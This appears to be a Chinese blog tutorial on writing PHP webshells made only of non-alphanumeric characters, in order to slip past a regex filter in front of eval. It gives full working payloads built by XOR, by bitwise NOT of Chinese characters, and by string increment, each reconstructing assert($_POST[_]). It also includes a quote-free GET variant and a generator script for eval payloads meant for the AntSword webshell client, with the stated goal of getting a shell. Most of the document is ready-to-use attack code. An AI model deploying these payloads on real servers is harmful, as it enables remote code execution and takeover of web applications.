php中一些不包含数字和字母的webshell
eg:
<?php
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
思路:
将我们需要的payload用非字母和数字的字符经过变换得到,然后知道能php动态函数执行
注意:php5和php7有差异
php5:assert是一个函数,我们可以通过 a = ′ a s s e r t ′ ; a='assert'; a=′assert′;a=(xxx)的方式动态调用。
php7:assert不再是函数了,变成了一个语言结构了(类似于eval),不能再作为函数名动态调用了,但是同样能利用,只不过比较复杂。
方法一:
异或
原理:
字符:? ASCII码:63 二进制: 0011 1111
字符:~ ASCII码:126 二进制: 0111 1110
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制: 0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A
几个位运算符:
可以把1理解为真,0理解为假;那么就可以把“&”理解为“与”,“|”理解为“或”;**而对于“^”则是相同为就0**,不同就为1。“~”为取反操作。
然后根据原理可以异或得到我们的语句,比较麻烦,网上有脚本,直接去找一找
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
// $__='_POST';
$___=$$__;
$_($___[_]);
// assert($_POST[_]);
然后再post传值
_=phpinfo
方法二:
取反
原理:
是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}
的结果是"\x8c"
,其取反
paylod:
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
这个答案还利用了PHP的弱类型特性。因为要获取'和'{2}
,就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2
,也就是('>'>'<')+('>'>'<')==2
。
这里post传参 2=phpinfo
方法三:
利用php的一个特性
就是一个很简单的道理
eg:
<?php
echo '== Alphabets ==' . PHP_EOL;
$s = 'W';
for ($n=0; $n<6; $n++) {
echo ++$s . PHP_EOL;
}
// Digit characters behave differently
echo '== Digits ==' . PHP_EOL;
$d = 'A8';
for ($n=0; $n<6; $n++) {
echo ++$d . PHP_EOL;
}
$d = 'A08';
for ($n=0; $n<6; $n++) {
echo ++$d . PHP_EOL;
}
?>
然后它的输出为
== Characters ==
X
Y
Z
AA
AB
AC
== Digits ==
A9
B0
B1
B2
B3
B4
A09
A10
A11
A12
A13
A14
好了,知道这个特性,我们还要知道怎么利用
意思是我们需要拿到一个字母a,我们就能利用它来拿到a-z
然后数组(Array)的第一个字母就是A,第四个字母是a,然后php函数对大小写不敏感的,所以我们只需要ASSERT($_POST[_
]),无需获取小写的a:
$_=[];
$_=@"$_";
// $_='Array';
$_=$_['!'=='@'];
// $_=$_[0];
$___=$_;
// A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__;
// S
$___.=$__;
// S
$__=$_;
$__++;$__++;$__++;$__++;
// E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
// T
$____.=$__;
$_=$$____;
$___($_[_]);
// ASSERT($_POST[_]);
然后再进行post传参getshell
以上为php5的绕过
下面这个通用
除这些之外我们还可以这样用${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo
其中"%86%86%86%86^%d9%c1%c3%d2"
为构造出的_GET
,适合于过滤了引号的情况下使用。
然后最后贴一个脚本
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST["xxx"]))';
$d=urlencode(~$c);
echo $d;
?>
这个脚本也适用于php7然后配合蚁剑getshell
使用方法我会在我下一篇文章写到
希望这篇文章能够帮助你!